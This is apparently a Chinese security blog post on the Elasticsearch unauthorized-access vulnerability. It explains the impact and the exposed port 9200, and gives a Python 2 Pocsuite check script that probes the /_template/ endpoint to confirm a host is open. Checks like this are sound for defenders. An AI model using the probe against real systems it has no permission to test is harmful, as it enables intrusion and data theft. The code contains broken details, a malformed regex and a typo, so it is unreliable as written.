• Elasticsearch未授权访问漏洞


    一. 漏洞简介

    漏洞描述:ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

    漏洞评级:高危

    参考链接: 

    1. https://www.seebug.org/vuldb/ssvid-62520

    2. http://webscan.360.cn/vul/view/vulid/3562

    3. http://www.oschina.net/news/81125/50-billion-data-deleted-by-elasticsearch-blackmailers

    二. 利用条件

    Elasticsearch 直接对外端口,默认为9200也可配置为其他端口 ,攻击者直接访问http://ip:port即可访问。

    对数据进行增删改查直接使用对应的http接口即可。

    具体操作请参照本博客的一片Elasticsearch增删改查接口:http://www.cnblogs.com/KevinGeorge/p/7868823.html

    POC核心代码:

     1 def _verify(self):
     2         #定义返回结果
     3         result = {}
     4         #获取漏洞url
     5         vul_url = '%s' % self.url
     6  
     7         #如果设置端口则取端口,没有设置则为默认端口
     8         import re
     9         import socket 
    10         socket.setdefaulttimeout(2)
    11         from pocsuite.lib.utils.funs import url2ip
    12         _port = re.findall(':(d+)s*', vul_url)
    13         if len(_port) != 0:
    14             _host = url2ip(vul_url)[0]
    15             _port = url2ip(vul_url)[1]
    16         else :
    17             _host = url2ip(vul_url)
    18             _port = 9200
    19  
    20         payload = 'http://%s:%s/_template/'%(_host,_port)
    21         
    22         #检测漏洞
    23         try:
    24             print payload
    25             response = requests.get(payload,timeout=2)
    26             print response.status_code
    27             if response.status_code == 200:
    28                 print "check content"
    29                 if response.content.find("order") >= 0:
    30                     result['VerifyInfo'] = {}
    31                     result['VerifyInfo']['URL'] = _host
    32                     result['VerifyInfo']['Payload'] = payload
    33             else:
    34                 response = requests.get(payload.replace("9200","9207"),timeout=2)
    35                 print reponse.status_code
    36                 if response.status_code == 200:
    37                     print "check content"
    38                     if response.content.find("order") >= 0:
    39                         result['VerifyInfo'] = {}
    40                         result['VerifyInfo']['URL'] = _host
    41                         result['VerifyInfo']['Payload'] = payload
    42         except Exception,ex:
    43             print ex         
    44         return self.save_output(result)
  • 相关阅读:
    java内联函数
    jvm垃圾回收
    jvm内存管理
    java进程和线程的区别
    jvm
    简单易学的SSM(Spring+SpringMVC+MyBatis)整合
    Spring之声明式事务
    SpringMVC知识点小结
    Servlet之文件的上传与下载
    java使用字节流和字符流实现文件复制
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8038138.html
Copyright © 2020-2023  润新知